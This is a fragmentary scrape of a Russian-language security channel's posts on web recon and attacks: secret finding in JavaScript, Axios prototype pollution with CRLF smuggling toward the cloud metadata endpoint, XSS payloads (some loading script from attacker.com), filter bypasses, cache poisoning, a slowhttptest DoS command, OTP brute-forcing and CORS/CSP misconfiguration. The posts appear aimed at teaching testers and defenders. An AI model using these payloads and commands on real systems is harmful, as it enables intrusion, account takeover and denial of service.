M
METASCAN News & PoC
@metascan_news
8 262
python3 SecretFinder.py -i https://example.com/1.js -o results.html
metadata:
language: v1-beta
name: "SecretFinder"
description: "SecretFinder"
given response then
if {latest.response} matches "(access[_-]?[t|T]oken(=| =|:| :|\":)) ..." then
report issue:
severity: high
confidence: firm
detail: "Secret found"
end if
python linkfinder.py -i https://example.com -d
katana -u https://example.com -js-crawl
jsluice — но в этом случае возрастёт потребление памяти.jsluice urls jquery.js | jq
console.log(__BUILD_MANIFEST.sortedPages)
console.log($r.props.children); // для React, необходимо <Router> / <Routes> во вкладке компонентов
console.log(window.__NUXT__?.config.public);
// или по структуре путей / страницы
console.log(useNuxtApp().$router.getRoutes().map(r => r.path));
JavaScript
const api = axios.create({
baseURL: 'https://api.com',
headers: { 'X-App': 'my-app' }
})
api.get('/users', {
headers: { Authorization: 'Bearer token' }
})
GET https://api.com/users
Headers:
X-App: my-app
Authorization: Bearer token
Object.prototype, добавив лишние свойства в базовый объект JavaScript, то эти свойства автоматически подхватятся и попадут в HTTP-запрос, который сформирует Axios.Object.prototype['x-test'] = "value"
axios.get("https://target")
\r\n) — очистка опасных символов выполнялась только в конце строки, а не во всём значении. Это позволяет отправить контрабандный запрос через загрязнение прототипа и CRLF-инъекцию.Object.prototype['x-amz-target'] = "a\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\n..."
mergeConfig подхватывает загрязнённый прототип.(RFC5341), для email — комментарии в самом адресе (RFC2822 и RFC822).79999999999;phone-context=<script>alert()</script>
email="><script>alert()</script>"@example.com // инъекция через комментарий
email=user+(alert())@example.com
email=user@example(alert()).com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0"><script/src=//attacker.com></script>
https://vulnerable.example.com/?param=%3Csscriptcript%3Ealert(12345)%3C!--
"script" удалялся, а закрывающий тэг блокировался приложением, поэтому для обхода достаточно было спрятать еще один тэг, разбив его на 2 и добавив комментарий в конце строки."[]()!+":https://vulnerable.example.com/?param=%3Csvg%20onload=[][(!+...[]]])%3E
/api/v1/api_token..css, создаст кэш-копию страницы с тем содержимым, которое было доставлено жертве.User-Agent
Cookie
X-Forwarded-Host
X-Host
X-Forwarded-Server
X-Forwarded-Scheme
X-Original-URL (Symfony)
X-Rewrite-URL (Symfony)
GET /test?buster=123 HTTP/1.1
Host: vulnerable-host.com
X-Forwarded-Host:
test"><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
...
<meta property="og:image"
content="https://test"><script>alert(1)</script>">
SlowHTTP.SlowHTTP эксплуатирует фундаментальное ограничение архитектуры веб-серверов — конечный размер пула активных соединений. Принцип атаки заключается в захвате и удержании доступных слотов пула с минимальной интенсивностью передачи данных. До тех пор, пока соединение не будет разорвано по таймауту, оно блокирует выделенный слот, лишая сервер возможности обрабатывать запросы легитимных пользователей.GET / HTTP/1.1, затем заголовки - по одному, с паузами. Финальная последовательность \r\n\r\n, сигнализирующая серверу о завершении запроса, намеренно не отправляется. Сервер не может определить, завершил ли клиент передачу, и продолжает ждать, удерживая соединение открытым. При масштабировании этой схемы все доступные слоты пула оказываются заняты, а легитимные пользователи получают ошибку 504 Gateway Timeout.\r\n\r\n. Сервер ждёт окончания заголовочного блока и поддерживает соединение с клиентом.Content-Length объявляется большой объём данных (например, 1 000 000 байт), а тело запроса отправляется по байту в минуту. Это заставляет сервер дождаться всего тела прежде чем обработать запрос.win 0 (буфер заполнен). Сервер продолжает периодически опрашивать клиента о доступном месте в буфере. Общее время удержания соединения в таком состоянии может достигать 2 минут. Все это время соединение остается открытым и слот в пуле занят. Тысячи таких соединений приводят к отказу в обслуживании.SlowHTTP можно использовать утилиту Slowhttptest. Это специализированный инструмент, который имитирует медленные атаки и показывает, как сервер на них реагирует.slowhttptest -c 1000 -H -g -o slowloris_stats -i 10 -r 200 -t GET -u https://target.com -x 24 -p 3
client_body_timeout 10s;
client_header_timeout 10s;
BDU:2025-14398 позволяет подменять контент страницы, проводить фишинговые атаки и осуществлять захват аккаунтов пользователей платформы. Суть уязвимости — в отсутствии надлежащей защиты структуры веб-страницы, что позволяет выполнять атаки вида «межсайтовый скриптинг» (XSS): злоумышленник посылает жертве ссылку вида:https://example.org/login?username=<script src=//attacker.com></script> BDU:2025-14398 получила рейтинг 6,4, по CVSS 3.1 — 6,1 (средний уровень опасности).POST /api/v1/sms_send
{"phone": 79999999999}
POST /api/v1/sms_confirm
{"code": 0000, "code": 0001, "code": 0002, "code": 0003, ...}
VK video
YouTube
RuTubeSOP, CORS и CSP. Они не взаимозаменяемы, у каждой своя роль, и вместе они закрывают разные векторы атак. Часто уязвимости возникают из-за неправильной настройки этих политик.Same-Origin Policy. По умолчанию браузер запрещает одному сайту читать данные с другого, но не блокирует отправку запросов.evil.com не может прочитать вашу почту на mail.ru.document.domain или загружает сторонние скрипты без проверки, это становится уязвимостью.https://app.example не может прочитать https://api.example/data, она всё ещё может отправлять формы или fetch-запросы на этот эндпоинт.<form action="https://api.example/transfer" method="POST">;Access-Control-Allow-*, в которым один сайт разрешает другому читать свои данные.api.site.com добавляет заголовок Access-Control-Allow-Origin: https://myapp.com — и теперь только myapp.com может получать данные.Origin или содержит * в конфигурации, то fetch-запрос, направленный с любого домена, может быть использован для получения данных.Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
cookie-based аутентификацию, злоумышленник с другого сайта может читать ответы через fetch-запросы и получить чувствительные данные.Content-Security-Policy ограничивает источники контента и выполнения скриптов, запрещая браузеру выполнять посторонний код (например, при XSS-атаке).<script src="evil.com/hack.js">, браузер откажется его загружать. если домен не в white list.unsafe-inline или * (всё разрешено) — защита становится бесполезной.Content-Security-Policy: default-src *; script-src 'unsafe-inline' https://cdn.example.com
inline-скрипты остаются уязвимыми, а данные могут уходить на произвольные эндпоинты.reflected origin в конфигурации CORS — это действительно риск для безопасности.cook -l: firstname_1letter_ru.txt -s: russian_translit_surnames.txt l _ s
a_ivanov
a_ivanova
a_kuznetsov
d_ivanov
d_ivanova
...